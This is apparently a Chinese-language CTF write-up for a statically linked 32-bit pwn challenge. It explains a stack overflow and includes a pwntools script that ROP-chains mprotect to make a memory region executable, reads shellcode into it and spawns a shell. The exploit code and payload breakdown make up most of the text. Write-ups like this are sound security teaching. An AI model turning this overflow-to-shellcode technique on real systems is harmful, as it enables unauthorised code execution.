这题蛮有意思,静态编译的,有许多函数可以直接利用,但远程打不通.解决方法是利用mprotect函数修改bss段为可执行
1 2 3 4 5 6 7 8 9
| unsigned int __cdecl mprotect(void *addr, size_t len, int prot) { unsigned int result;
result = dl_sysinfo(len, prot); if ( result >= 0xFFFFF001 ) result = _syscall_error(); return result; }
|
调用payload为:p32(mprotect_addr)+p32(7)+p32(shellcode_len)+p32(bss)
fuzz溢出长度为0x38,和栈长度相等,原因是没有leave指令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import * from LibcSearcher import * import subprocess
s = lambda data: sh.send(data) sa = lambda delim, data: sh.sendafter(delim, data) sl = lambda data: sh.sendline(data) sla = lambda delim, data: sh.sendlineafter(delim, data) sea = lambda delim, data: sh.sendafter(delim, data) r = lambda numb=4096: sh.recv(numb) ru = lambda delims, drop=True: sh.recvuntil(delims, drop) info_addr = lambda tag, addr: sh.info(tag + ': {:#x}'.format(addr)) itr = lambda: sh.interactive() debug = lambda command='': gdb.attach(sh, command) context(arch='i386', os='linux', log_level="debug")
def one_gadget(filename): return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
elf=ELF('./pwn')
start=0x080ea000
pop3=0x0809e4c5 # 08063adb #pop edi ; pop esi ; pop ebx ; ret
read_addr= elf.symbols['read']
# one_gadget('/lib/x86_64-linux-gnu/libc.so.6') # libc=LibcSearcher('puts',puts) sh = process('./pwn')#process('/home/yk2/ctf/diwukongjian/pwn')
pld=56*b'a'+p32(elf.sym['mprotect'])+p32(pop3)+p32(start)+p32(0x2d)+p32(7) #write pld+=p32(read_addr)+p32(start)+p32(0)+p32(start)+p32(0x2d)
r #gdb.attach(sh) #pause() sl(pld) #pause() sl(asm(shellcraft.sh())) #pause() itr()
|
解释一下payload:
p32(elf.sym[‘mprotect’])+p32(pop3)+p32(start)+p32(0x2d)+p32(7)
调用函数地址 返回地址 参数3 参数2 参数1
pop3只要是一个3*pop+ret的就可以,存在目的是为了保持堆栈平衡,也算是对cdecl的拙劣模仿